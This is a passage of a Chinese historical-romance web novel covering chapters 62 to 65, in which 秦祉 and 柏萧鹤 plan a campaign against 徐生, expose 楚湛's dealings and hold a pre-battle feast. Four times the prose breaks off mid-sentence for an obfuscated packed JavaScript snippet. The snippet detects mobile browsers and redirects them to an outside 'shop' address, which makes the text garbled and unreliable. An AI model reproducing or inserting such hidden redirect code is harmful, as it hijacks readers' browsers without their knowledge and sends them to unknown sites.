秦祉扶着地起身,拍了拍手吩咐道:“司昀,把锁打开。” “啊?” “愣着做什么,还不请居公子出地牢,再派人请张舒前来诊治。” 锁链被打开的一刻,居川险些趴地上,他强撑着抬头:“你什么意思?” “钟怀这人行事有些冲动,本意只是随意问问话,没成想伤你够重,还望不必介怀。”秦祉抬手将铁链移开,扔向一侧发出叮当声响,“楚湛不应该是你的选择。” “他若想重用,不会等到此刻,你但凡聪明点,也应该不会想不到这一层。” “所以呢,你想劝我归降于你?” 秦祉端详片刻,重新开口:“当年居氏的结局,你应该再好好查查。” 钟怀留了一手,因此居川的伤势虽然看着吓人,实则并未伤筋动骨,养些日子也就差不多了。 “居川走了。”司昀顿了顿,“哎呀这么说好像不太吉利,总之就是他回沧州了,至于去端寿还是回郁南,就不太清楚了。” “符牒拿了?”秦祉翻过一页文书,问道。 “拿了,二部的符牒。” 先皇楚珩的死很突然,是多重势力互相争斗的结果,当今天子楚芃没有任何机会选择,自然也就对朔昭阁一事知晓不多。 因此如今朔昭阁的二部职能自然有了变化,一部负责阁主安危以及执行任务,而二部则散落天下,各自为营。 “派人盯着他,如果楚湛那边有动作,及时来报。” “是。” ---- 半年后,一封信送至朔昭阁,前后一炷香的时辰,书房便热闹了起来。 司昀翻看信纸,震惊道:“沧州牧病重,徐行派徐生南下,欲攻取沧州,沧州牧派人请殿下前去协助,以求稳定局势。” “此次若去,便是明面同徐行对上了,但若不去,一旦沧州被破,徐行势力大增,下一步,便是冲着梌州而来,主公届时唯恐自身难保。”说话之人相比于之前,气色显然大好,他神色淡然地品着茶道。 “说来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941686|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是奇怪,你一个西州昭川的太守,怎么横跨四州,跑我们晋赭这来了?”司昀狐疑地看着此人,“虞氏和昭川都不管了?” “镇西将军郑砚连屠七城,割据一方,西州半年之内死了能有十万人。”虞仓寅将茶盏搁置,指尖泛白,“昭川没能守住,我连夜转移城内百姓,从渌水河南逃氾州,幸而保住他们性命。” “西州不是还有肖敬的势力,怎么郑砚会一家独大?” “肖敬?”虞仓寅眼神嘲弄,“他自当了平宁太守,正两面夹击,往樵阳跃跃欲试,打算吞并了周令呢。” “偏了。”秦祉说。 司昀疑惑地看去:“什么偏了?” 秦祉:“……你说呢。” 贾文勰偏头笑了,眉眼弯弯:“让人搬把琴坐他对面弹,听听得了。” 司昀隐约觉得他在内涵自己。 “在下以为,主公应当前去协助,正如虞兄所言,若不去,一是徐生夺下沧州,梌州难免会被波及,二是州牧传信相求,若不挂念往日情分,难免被人口舌,说主公冷血无情。”贾文勰说,“于情于理,都应当一去。” “只是,这忙要帮,但却不能太明目张胆,怕被人疑心,有趁人之危,夺沧州之举。” “如若州牧安康也罢,若他真出了什么事……”秦祉面色凝重,缓缓开口,“那么沧州便是柏萧鹤的天下了。” 沧州郁南。 太守府。 男人着一身中衣,懒散地靠着池水边洗发,满头乌丝被水沾染,骄阳洒下折射出晶莹的光。 露出的半边侧颜好似白玉,睫羽浓密,投下小片阴影。 “太守,汝则急报,徐生领八万兵马动身,欲南攻沧州,沧州牧请您速往汝则,共讨对策。” 柏萧鹤动作停顿了一下,继而手指轻轻甩掉水珠,声音平淡的吩咐:“去备马。” 那小厮连忙下去准备,柏萧鹤理了理半湿的发尾,轻啧一声。 看样子没时间晾干了…… 半年时间,果然秦祉的话没有掺假,郁南的确费了好大一通功夫,才安稳下来,具体行动总体而言归结于八个大字:威逼利诱、党同伐异。 而柏萧鹤名声在外,又兵权在握,当地士族不满也没办法,只能忍着。 秦祉到达郁南之时,听到的就是这样的言论,百姓过的倒是挺好,士族那边简直要闹翻天了。 秦祉微微诧异:“都杀了?” “是,凡是当地有头有脸,反对他的那些人,无一例外,都杀了。” “那他这日子过的未免也有些太好了吧……”秦祉忍不住感慨,“这些人就没继续闹?” 崔颉妙摇头:“没有,五大营的兵力尽数调到隔壁县,士族不敢轻举妄动。” “不过……”她继续道,“密探说,柏萧鹤与兰干往来并未中断。” 秦祉沉默两秒,不知道在想些什么,而后开口问:“他已经动身去汝则了?” “是,听说是三日前出发的。” “好,那我们也抓紧时间。” 62. 商议 “你有没有觉得,这两日汝则街上总是出现一些奇奇怪怪的身影?” “什么意思?你别说话说一半啊,听着就渗人。” 这人低声说:“你想什么呢,我说的是那些人,你瞧,你不觉得最近城内巡逻的侍卫变的比之前多了吗?” 视野尽头,三五成群的巡防兵严阵以待地从街巷转弯,消失在人群之中。 “那不就是正常巡逻吗?有什么可惊讶的?” “人多了多少啊,你不认脸不知道,之前的确有,但是白天哪里看得见这样多,我听别人说,这是可能要打仗的意思......” “打仗?汝则和谁……”他思考了一会儿,语气徒然急促,“柏萧鹤是不是,听说他上任郁南这半年,没少杀人,我听从那边来这的人,都说他是个疯子,他现在是不是不满足那点地盘,要往外打了?” “卧槽你别......”声音被堵在了喉咙间,呼吸瞬间屏住,恐惧从心底四面八方的蔓延,铁蹄踏地的声音犹如阎王点卯,无声无息地牵引着他丢了半条的精神。 完了完了完了要死了! 玄色透亮的肤色,卧鹿纹镶嵌黄金饰的马鞍,墨色里衣外披麒麟甲,手握寒星银刃战戟,剑眉星目中摄人夺魄,森冷肃杀之意扑面尽显。 “你、怎么了?”他看对方脸色不佳,目光惊恐瑟缩地向身后看去,也疑惑地跟着转了下头,这一眼险些没将自己的命直接交代在这。 “柏、柏......”嗓子被封住了,完全发不出声,他对上那高高在上视线的一瞬,脑袋轰的一声,除了抖着身子愣在那里,其余什么都做不了。 玄马不急不缓地从二人面前走过,而至始至终,那人都好似没有听觉一般,半分视线都不曾给予二人,足有数十秒寂静,人与马皆消失于尽头,他们才仿佛劫后余生,疯狂汲取着空气,大喘气道:“还好还好,他没听到......” 而柏萧鹤身后,浮生侧身朝后方看了一眼,笑道:“您这名声看起来传播地甚远啊,汝则的百姓都听过见过的。” 柏萧鹤嘴角微微牵动半分,不予置否,只道:“派人去将此风言风语都处理干净,大军当前不准动摇人心。” ---- “我当然派人去拦过,凡是随意传播此类消息的一律先抓起来,但是市井传闻,百姓头一碰就互相口舌,谣言一传十,十传百,哪里看得过来啊......”说话之人正是病未痊愈的沧州牧陶卓,他面容憔悴,但眼神不见浑浊之气,仍清澈如炬,“所幸他们只是这么说着,尚且不知究竟是何景象。” “但这是迟早的事。”汝则尉秦告沉重的叹了口气,深邃的眉眼被愁郁替代,“一旦三十万兵马横渡沄江,百姓必然会知晓此事。” “眼下当务之急不是百姓知不知道的问题,是我们要如何应对三十万兵力!”他继续说道,“这么多兵马若要南下渡江,到达沧州界内至少一月有余,我们还有时间准备。” 陶卓缓缓将目光移向左右案几前的二人:“晋赭王殿下,柏将军,不知二位对此有何看法?” 秦祉闻言抬眼看去,那人明明已经领了不小的官职,却丝毫没有所谓的架势,姿态随意散漫,五官凌厉张扬,一双丹凤眼顾盼生辉,多情也无情。 察觉到她的目光,只见柏萧鹤微微直起身,冲着秦祉半挑眉毛,眉眼带笑,像只开屏的孔雀。 秦祉失笑地摇头,移开了视线,下一秒却对上了陶卓狐疑惊骇的目光,后者踟躇半响,不太理解的开了口:“要不......你俩换个位置坐?” 此话一出,引得满座无人不投以新奇的眼神,左一下右一下,瞧瞧这个,看看那个的。 秦祉:“......” 柏萧鹤全然不在意地两手抱拳,客气道:“州牧慧眼,殿下与我确为旧识,关系嘛......” “非同一般。” 四个字一字一顿,声音低沉性感,情意缱绻。 “咳。”秦祉清了清嗓,将众人的注意力从那人身上拉了回来,“徐生三十万兵马人数看似多,单且不说他哪里有如此多的兵力,但就算是与襄、蜀二州的交战,他早已有疲惫,更匡论倘若真足三十万人马,战俘、百姓占大多数,精兵主力至多不过五万而已。” “但人数众多就需要大量粮草辎重,后方补给跟不上,他徐生必定退兵,都邑南下比先过沄江,此次是看州牧要不要直接出兵,化守城为攻。” 陶卓微微眯眸:“殿下的意思是指,干脆直接将兵力调往端寿北面,隔江对峙,从河上截杀他们?” “不行。”柏萧鹤果断否决,“汝则和郁南主力不能动,一旦对方派兵绕至河岸,若有人里应外合,河面必定失守。” “可三十万兵马,即便精兵不算多,也难以抵挡,我们若不派兵,等到他们杀入城下,岂不火烧眉毛?”秦告反问道。 “都邑粮草不多,辎重是从庐野一路跟随运送,在下以为,可以派精兵从劭关北上,潜入庐野断他后方补给。”虞仓寅说,“只是沄江需有兵力吸引对面主力注意,主战场仍要控制在此地。” “州牧必须守在汝则,浮生替我守郁南,我亲自带兵北上庐野。”柏萧鹤声音如同淬了冰,半句废话没有。 “我不赞成,将军善战,沄江需要你亲自带兵,庐野一路应当派他人担任。”虞仓寅淡声否认。 柏萧鹤微微蹙眉,刚想出声却被秦祉打断:“嗯,虽然后方粮草重要,但徐军的辎重必会跟主力军走一批,足够应对沄江,而沄江毗邻端寿,若是端寿失守,后方粮草便不重要了,除非端寿坚壁清野。” “可若不到极端之时,尚且没到此种地步。”秦祉说着,看向柏萧鹤,“所以沄江一战,将军最好亲自带兵。” 二人的顾虑都不曾有错。 柏萧鹤意在斩断后路,但闯入敌军深部十分险要,且不说烧粮草一事是否能成,如若不幸被发现,那便是九死一生,但此事由他带队,十险而胜之七八。 而秦祉则是不相信端寿,自端寿谈判之后,陆氏一直与她保持着联络,总之陆衎那边的消息大概意思就是,端寿不是那么靠得住的,别说是徐军来前坚壁清野了,不直接投降就算不错了。 “柏将军?”陶卓再度看向柏萧鹤,有些担忧,秦祉公然的反对不知这人会不会一怒之下掀桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976099|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么的,除他之外,在场其余人的戒备也只多不少,都有种若是真打起来就好及时冲上去阻拦的架势。 唯有秦祉含笑的看着对方,等着他的回复,后者思忖两秒,反问道:“那么殿下以为,庐野应当派谁行动?” 不等秦祉开口,一道身影当即站立堂下正中,声音平缓干净:“属下可以。” 说话之人,正是朔昭阁女官,崔颉妙。 “不知这位是?”秦告狐疑地打量着此人,身形容貌清俊秀逸,有为女子之身,连他都不敢轻易应下的职责,她怎会有这么大的胆子? “也不是咱们怕死的问题,关键是往敌军最后方闯,这根本就是不可能活下来,也不可能完成的事,要说他柏萧鹤应,我倒是还信那么一分,可这不知哪里来的无名无姓的小丫头,谁能信她啊?” “你别说了,州牧自有判断,你一说万一最后定你头上有你哭的。” 怀疑的视线接二连三,只是大家不直面开口的原因,仅仅是怕把此事揽到自己身上罢了。 “这位是曾替先皇出生入死,暗中处理一切要务的朔昭阁女官,姓崔,名颉妙。”秦祉淡漠地从众人面上扫过,“她若论功行赏,也理应比在座诸位功勋都高,只是碍于身份,不能暴露而已。” “各位若有什么疑问,当面来说便是,也让本王好好听听,看是否有更为合适的人选。” “嗯,这倒是。”柏萧鹤轻笑一声,“杀人的速度连我都反应不及。” 此言就像一颗沉石落水,掀起层层波澜,众人无不惊骇万分,再不敢言。 “是我们不知崔女官的身手,刚刚言语多有冒犯,还请不要挂怀。” “对对对,有女官在,想必庐野一行能让我们安心不少。” “好,既如此,那我便调集人马、辎重和粮草。”陶卓下令道,“三日后集结一万精兵,由崔女官担任监野校尉,率兵北上先行,任柏将军为都督,统领五万精兵沄江与徐军交战,辎重部队由秦告掌管。” “若胜则一举击退徐军,若败则往回退,我亲自坐镇,与那徐生一决胜负。” ---- 风急天高,北风拂面。 沧州上下备战,大军浩浩荡荡地向北而行,与此同时,晋赭的两万兵马由韩阁、韩晟二人带队,已经抵达端寿城外,等候秦祉。 “解祈安和浮生怎么跟你跑沧州来了,兰干相就没有意见?” “解祈安没有官职,随他去哪荀谌不会说什么。”柏萧鹤抬手摸了摸马鬃,“至于浮生,那自始自终都是我柏萧鹤的人。” “倒是你殿下,安屿承的死,是你派人传信安瑾的?”柏萧鹤似笑非笑地反问。 “哎呦。”秦祉跟着意味深长的笑着,“她知道这事了?” “半年了殿下,演技还是一如既往的差。”柏萧鹤收回视线,马蹄声中,只听他声音很轻,“我可给你提个醒,兰干不像表面那么安分,荀谌再怎么护着她,也终归是她没有危险。” “若是长了利齿伤了人,第一个死的......” “就是她。” “所以呀殿下,你可悠着点来吧。” 63. 书信 这话所言不假,秦祉无声地看向远处,安瑾的确不是好的选择,她本以为对方既能三番两次的意图逃离兰干,总归决心是在的,不成想竟然让柏萧鹤察觉到了不对劲。 看来兰干那边得派其他密探去了,秦祉想。 半月不到,大批兵马驻扎在端寿北面,两军会见后,众人于端寿齐聚。 “是说徐生派了三十万兵要打我沧州?”楚湛大惊失色,“那我们呢,我们有多少兵马对战?” “我们有......差不多二十五万哦~”这话说的一点不心虚,韩晟微微眨了下眼,冲着楚湛笑,“所以端寿王殿下就不需要太担心了,在座各位都会保护你的。” 才怪。 楚湛瞪大的眼睛中闪过一丝怀疑,他跟着笑了笑说:“是吗,如此那我便放心了,只是阁下看着面生,不知你们二位是?” 韩晟一双漆黑的眸在如白玉的皮肤衬托下格外吸睛,但与韩阁鬼气沉沉的感觉不同,他那双眼,只要看一下,就知道这人一肚子坏水。 “哦,在下是晋赭王的贴身侍卫,算不得什么有身份的人物,殿下没听说过也是正常。”韩晟刻意拖着长音,不知不觉地将“贴身”二字咬重一分,惹人猜忌。 只是率先对这话有反应的,是秦祉身侧的柏萧鹤,他看似云淡风轻地,瞥了韩晟一眼。 贴身侍卫倒也不假,毕竟他身为二部首领,曾经执行数年的任务便是保护秦祉的安危,即便她如今用到自己的时候大不如从前,也是,身边的人越聚越多,自然便给他遗忘到脑后了。 “简直就是没心没肺嘛。”韩晟嘟囔着,而后正色道,“虽说此战欲于沄江交战,但端寿必须时刻备战,以防对方进攻,恕在下多嘴,不知端寿的铁粮有多少,可还够守城之用?” “足够半年之久。”楚湛想了一下,说道。 楚湛不信沧州的二十五万兵力,别说他不信,换做任何一人也不会相信,若是他们能有这些人马,怕是早就朝着中原打去了,也不至于请晋赭王前来协助。 但问题是,究竟能有多少人,在此迎战呢? 这不是楚湛能够了解到的,他侧面派人打探过,无一不被挡了回来,秦祉与柏萧鹤二人可以说是严防死守,整个军队由上而下没有可以撬动的地方。 “楚湛那话殿下听听就得了。”陆氏二公子陆绥缓缓斟茶,然后品了一口说,“他就算有半年的量,也断不会用以对抗徐军。” 秦祉挑着食案的糕点吃着,闻言反问:“怎么说?” 陆绥勾唇一笑,扬起下巴示意亲卫,后者递上一纸书信:“殿下自己看。” “这是?”不过几秒时间,秦祉颇为意外的看向陆绥,“这信你是如何得到的?” “陆氏好歹是本地有头有脸的人物,养点私兵不成问题。”陆绥说着,让人将信烧掉,“这是楚湛派人传给徐行的回信,至于内容,殿下已经看到了,我想不用我多说,殿下也应该能猜到,徐行与楚湛的交易是什么吧?” “沧州牧如今病难痊愈,州内上下可盯得紧,这个位置没人不心动。”陆绥视线幽冷,拂了拂衣摆继续道: “这半年光景,中原乱做了一团,徐行又要向外扩张,粮草兵力一损再损,眼下攻下沧州,便有更大的资本朝着梌州去,而一旦拿下梌州,就再难以阻挡,因此沧州牧的位置,他必然要交给自己人。” “楚湛此时表态,就定有后手,先不说他日后是否会出尔反尔,拿下州牧一位又同徐行宣战,但单是现在他有意与徐行合作一事,足以万分戒备。”陆绥微微眯起眼,语气越发冰冷,“兄长的意思是,若州牧病逝,那么陆氏则簇拥殿下担此职位,至于楚湛,必要时......” “杀。” ---- “信中具体怎么说的?”北城门外的营帐中,柏萧鹤正在卸甲,没了甲胄的掩盖,精壮的身姿着一身玄色服饰,劲瘦的肌肉若隐若现,尤其长衫被银雕金饰的束腰裹挟,线条流畅尽显。 秦祉掀起衣袍席地而坐,目光直勾勾地盯着对方的背影,直至柏萧鹤半响没听到回复,蹙眉回头看来时,视线交汇的一刻,秦祉若无其事的收回视线,咳了一声:“楚湛要派人开城门迎徐军,沄江一战或许也会动点手脚,不过他很谨慎,详细的东西一点没写。” 她的话音落下,却不见对方回应,秦祉狐疑地抬眼看去,只见柏萧鹤自始至终眼神不变,面对着秦祉就要解下束腰,再最后露出一小节锁骨,往下连接紧实的肌肉,胸膛半埋在衣襟中,而后突然止住了动作。 秦祉看着看着:“?” “女流氓。”柏萧鹤终于忍不住轻啧一声,三两下扯好服饰,抬腿便走了过来,一把抓住了秦祉的手腕。 “你......哎?”手腕力量不大不小,刚好给秦祉从垫子上拎了起来,强行拽着人往外送。 “出去。”连人带武器的,直接给扔出了营帐。 “怎么这么小气!”秦祉无奈地抱着剑,“之前不还一起沐浴过吗?现在换个衣服还避讳上......” 外面往来士兵杂多,见状纷纷停下脚步,不是假装捡东西,就是低头整理服饰的,一个两个八卦的心思都要刻在脸上了。 去而复返的柏萧鹤直接将人扯了进去,而后压低声音命令:“没事就去练兵,别杵这望风。” 士兵突然一哄而散,生怕晚一步便成了柏萧鹤的活靶子。 秦祉觉得好笑,歪头抱臂看着对方,但说出口的话却回归了正题:“段姝焉来信,徐行此次派兵,三十万的数字不过是虚张声势,都邑西郊屯兵人数不过十几万,若说精兵,大抵不超过八万人马。” “楚湛的信被陆氏的人拦下,可有后手?”柏萧鹤深深吸了口气,所幸大喇喇地敞着领口坐了下来。 “陆衎不清楚我们行军安排,找能拟了字迹的人,现下正在韩晟那候着。”秦祉说,“依我的意思,不如诱敌深入。” 柏萧鹤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985573|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饶有兴趣地问:“比如?” 秦祉勾唇一笑,声音不急不缓,两个人头碰着头,商议出了不知是可以称为鬼点子还是好方法来。 ---- 翌日便要整军出发,前夜营帐外,以秦祉、柏萧鹤二人为首的众位将领皆举杯对饮,月下壮行。 “明日天一亮便要动身启程,今夜众将士在此齐聚,就该如此热闹!”楚湛站在高台之上,举杯庆道,“今夜,我在此祝诸位旗开得胜、首战告捷!” “首战告捷!” “必胜!必胜!必胜——!” 楚湛带着笑意转身,身后众人以秦祉、柏萧鹤为首,四位校尉坐于两侧,分别是韩阁、韩晟、管乔和居川。 秦祉视线从居川身上扫过,这人如今跑柏萧鹤手下做事,混的也算风生水起。 而除此之外,便只有陆绥随军。 “端寿王,端寿王?”韩晟手中荡着酒杯,侧头喊道,“眼下是出征前最后轻松的时候,你便让那些士兵放开来吃就是了,这些官话少说两句,来,喝酒、喝酒。” 楚湛在场,这些人有关战事的话只字不提,仅仅少饮几杯助兴而已,篝火熊熊燃烧,零星点点顺着火苗向上飞散、蔓延,犹如繁星落尘,夜幕之下美不胜收。 “哎,殿下,殿下?”韩阁坐在角落无声而警惕地观察着周边,韩晟觉得无聊,便拎着一壶酒跑到秦祉身边来,“你和柏将军关系如何?” 秦祉睨着看他:“你想做什么?” “我曾听人说,他虽用长戟,可剑术也是一流,殿下不感兴趣?”韩晟用手肘碰她,“明日出征,今夜正是需要势头大增的时候,士兵不能饮酒,何不众舞一番助兴?” “我跟他啊,关系不太好。”秦祉微笑道,“你不如自己去问问,看看能不能得偿所愿。” “营帐今日还说你们二人都是一起沐浴的关系,现下说变就变了?”韩晟自讨无趣,转身举着酒就冲着柏萧鹤去了。 这一举动瞬间勾起了秦祉的好奇,她两手撑着下巴,朝着那边目不转睛。 月光下,那种极为轻淡地、柔和的光洒在身上,使得柏萧鹤的五官更惊为天人,醇厚的酒气沾染衣襟,十足的吸睛。 见人到了面前,他仍抱着臂,微微仰头,一言不发地看着眼前熟悉但陌生的面孔,举手投足皆是胜劵在握的气场。 “初次见面,在下韩晟,官任晋赭校尉。”韩晟为柏萧鹤斟了杯酒,而后为自己满上,举杯笑道,“柏将军,久仰大名、如雷贯耳。” 柏萧鹤举杯示意,一饮而下。 “果然痛快!” “我曾听闻,尚在兰干时将军便已少年成名、威名远扬,如今……”客套的话张口即来,毫不费力。 “想说什么直说。”柏萧鹤打断道。 韩晟一愣,不可思议地回头:不是? 他怎么不按套路出牌? 秦祉两手一摊,挑眉笑了:他向来如此。 64. 舞剑 过于直白的一句话让韩晟的计划直接落了空,他总不能跟人家点名说要人家表演吧,虽然这事他做出来也不奇怪,但是对方是柏萧鹤的话,还是不太对劲吧。 韩晟笑了笑,继续道:“如今有幸相识,在下欲与将军痛饮三杯!” 四周的气氛逐渐火热,语笑喧阗充斥整个夜色,众人互相举杯,交浅言深,人群之间赫然放声大笑,一时之间好不热闹。 “你说就凭你?”那人肆无忌惮的大笑着,“别逗我了,你是没见过他们的身手,怎么就觉得自己能赢哈哈哈哈哈........” “我没有开玩笑!” “你是不知道他的名声才这么说的吧?那人叫居川,曾经在沄江当过水匪头子,闹得也不算小,后来不知道发生了什么事,消失了好一段时间,再出现的时候便是让柏萧鹤收揽了,如今人家是正儿八经的校尉,你怎么可能打得过?” “就是啊,咱不聊这个了......哎?你干什么!” 那人将酒杯一摔,愤愤站起身:“我现在就去证明给你们看!” “卧槽你不要命了,回来!” “你是不是疯了你?” 众人被这人一惊,七手八脚的上去要拦着,但这动静实在不小,乌泱泱的挤到了最显眼的位置。 “那边怎么了?”秦祉偏头询问。 “看着不像是打架,更像是......”陆绥单手撑着下颚,笑说,“怕是有好戏要看呢。” “居川校尉!”清亮的声音从杂七杂八中脱颖而出,伴随而至的一群人“哎,嚯”试图遮掩的怪声。 “居、唔......!” “你别捂我嘴!” “祖宗啊你快走吧你!” “嗯?叫的你。”韩晟兴致勃勃地朝着那边看去,而后看向眉目嚣张的居川,“兄弟,这人跟你叫阵呢。” 看热闹不嫌事大。 居川抬眼打量了眼前的男人,后者看似和善的目光中藏不住的玩味,他冷笑一声,提刀起身:“你们......” 带着点轻蔑的、平缓的声音响起,顿时止住了众人的动作。 “让他过来。” 那人毫不犹豫地推开两边堵住自己去路的人,深深吸了一口气,几步跨到了居川面前,眼睛亮晶晶地抬起,像是透亮的琉璃,他缓缓笑了笑,说:“居川校尉,我听说你很强,不知可否给我这个机会,比试一番?” 居川嗤笑一声,不以为然:“你跟我打?” “望校尉将军赐教。”他手握大刀,抱拳说道。 居川面无表情地注视了半响,最终敛眸回身:“明日就是出征,你若想打,等你能活着从战场下来,我随时奉陪。” “对对对,校尉说的没错,他这就是没喝酒呢还先醉上了哈哈,我们马上走......” “就是啊小郭,别闹了,咱先回去。” “校尉不和你一般见识已经很不错了,你别再挑衅人家了,到时候万一柏将军不高兴,或者惹怒了殿下就完蛋了!” “就是,退一万步来讲,万一他真输了多伤士气......” 此言一出,突然陷入了一片诡异地寂静之中,众人的视线皆不可置信的落到了说话人身上,而后胆战心惊的回头,祈祷没人听见此话。 纯粹就是没过脑子的说话,却无形推动了这场比试的发生。 柏萧鹤轻笑一声,说:“单是喝酒吃肉没意思。”他视线一挑,冲着秦祉微微歪头,“殿下以为呢?” “点到为止。”秦祉灌下一杯酒,说道。 尖叫、狂欢,整片军营充斥着热血激动的气氛,将每个人的情绪推至高潮,士兵之间的空地,居川手指一转,握住刀柄,一身素衣外穿轻甲,长发束在脑后,凌厉轻佻地抬起刀锋示意:“来。” 小郭双手紧握大刀,目光极度认真,两手微微调整,下一刻,赫然冲出一个身位,直冲居川而去。 居川侧身一躲,刀锋顺对方刀棍一剁,小郭心下一惊,当即松手避开,翻身一脚踢向居川,重夺武器。 数秒之间交手让人应接不暇,看的周围发出阵阵惊呼。 “哇!小郭!小郭!小......” “别喊了你傻啊,别让校尉回头记住你了。” 刀光剑影中,二人近乎交缠在一起,不知不觉间一路打向主位,大刀挥起携带的厉风好似吹到了眼前。 韩晟往后退了两步:“他们怎么打到眼前来了?” 小郭士兵大刀横挥,劈向居川,后者当即一脚登上案几,将酒壶甩飞,酒水四溅,小郭下意识一挡,居川趁机踏上大刀逼近,不料对方更像设计陷阱,人走刀留,绕路而行,避开居川抬腿挑起大刀。 这人的一举一动不容小觑,居川实力不俗,不然也不至于会在柏萧鹤手下半年时间混到校尉的位置。 但二人交手过程中,居川却并不占上风,他的行动看似主动出击,却被对方了如指掌。 或者换句话说,对方对居川的打法,有些过于熟悉了。 散落地面的酒杯微微滚动,居川不留神险些摔倒,与此同时大刀挥来,他瞳孔下意识一缩,暗道不好。 “噌——” 银刃战戟横空出现,稳稳停在半空之中,挡下了这道攻势。 武器末端,柏萧鹤看也不看,只手一收,将战戟搁下,缓缓起身,终于有了点兴致:“酒盏是你故意的。” 他战戟一挑,那杯盏赫然飞向空中,转了几圈后竟稳稳落在案几之上。 “算准的位置?” 小郭士兵抱拳道:“过奖了,雕虫小技而已,居川、校尉不怒在下交手阴人便是在下的荣幸。” 居川视线略微怀疑地打量着对方,好似察觉到了什么,只一挥手:“兵不厌诈,你的确厉害。” 秦祉不易察觉地看了围观众人的脸色,而后手指点了点酒,轻轻一弹,带着凉意的酒水直冲着那只手而去,手的之人微微垂眸,笑了笑。 秦祉目光朝着远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986674|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫了一眼,无声交流着。 需要有人出来稳住局面,这二人交手旗鼓相当,但未必其他人会这么想,一旦有士兵开始质疑校尉的能力,军心容易被动摇。 而眼下最简单的方式,便是让柏萧鹤出手,身为威名赫赫地常胜将军,他只要站出来,无人不是期待敬仰。 “试试?” 柏萧鹤似笑非笑地盯着秦祉看了一眼,而后出声。 “属下不敢。”小郭连忙低头。 “没什么不敢的。”柏萧鹤说,“你若能赢我,这都督之位我就即刻交于你来担。” 这话说的轻巧,却是他对自己实力的绝对信任,一时听上去狂妄的不可一世。 像是一阵风,柏萧鹤果断从身侧士兵腰间抽出一把长剑,一招一式又快又猛,让人眼花缭乱、应接不暇。 是长剑? 秦祉微微诧异,目光随着他的动作而动,只见柏萧鹤身姿玉立,举止从容不迫、应对自如。 小郭士兵从未觉得自己如此吃力,大刀对上轻巧的长剑竟无半分可乘之机,他被逼的节节败退。 众人重重欢呼惊诧下,柏萧鹤神色未改,身形快若残影,下一瞬小郭只觉手腕一麻,长刀当即被挑飞,落到了身后的地上。 “我靠,这还是人吗?” “太牛了,难怪他能被称为常胜,之前只是听说,这回亲眼看见才能明白,真的太牛了!!” “我能不能以后都跟着柏将军出征啊……” 小郭士兵呆愣地看着自己的武器,足有数秒才反应过来,而后目光极为震撼,完全被其能力征服,行大礼高声喊道:“属下愿永远追随柏都督!” “永远追随都督——!”台下士兵接二连三的跟着吼道,一时间澎湃到处流转。 月光之下,众人欢呼,他如神袛一般,高高在上,带着少年的意气风发,手持长剑,负身而立。 满场喧哗不止,微微急促的呼吸,起伏不定的胸膛,带着期许和誓死决心的豪情壮志,就在此刻被浩然唤响。 “北上而攻,破徐军,笑谈资,渴饮血…… 鼓声阵阵,士兵激昂。 皓月当空,柏萧鹤大笑着提酒助兴,眉眼似有醉态: “怒发冲冠,凭栏处、潇潇雨歇。” 长剑与其银甲融为一体,风姿卓然,一招一式婉若游龙。 “抬望眼,仰天长啸,壮怀激烈。三十功名尘与土,八千里路云和月。” 玄衣翻飞,舞姿风流夺目,声音漫不经心,带着说不出的魅惑。 一腔豪情、傲骨嶙峋,身姿精劲,亦有气吞山河之雄势。 …… “待从头、收拾旧山河,朝天阙。【1】”最后一字落,剑指苍穹,柏萧鹤那双又狂又傲的视线恰到好处地隔空与秦祉对视。 然后…… 他笑了。 “满堂花醉三千客,一剑霜寒十四州。【2】” 那一瞬间,秦祉好似闻到了一股淡薄的花香。 65. 交战 酒过三巡,小郭士兵正要提刀离去,被人拦住了去路。 居川注视着对方的面容,微微眯眸:“我们认识?” 只见对面那人温和一笑:“如何认为?” 居川缓缓绕过对方,打量的同时说道:“对我的招式如此熟悉,你是故意让我注意到你的?” “我以为你应该记得的。”他轻轻叹了一口气,目光有些哀恸,“郭岑。” “这名字你还熟悉吗?” 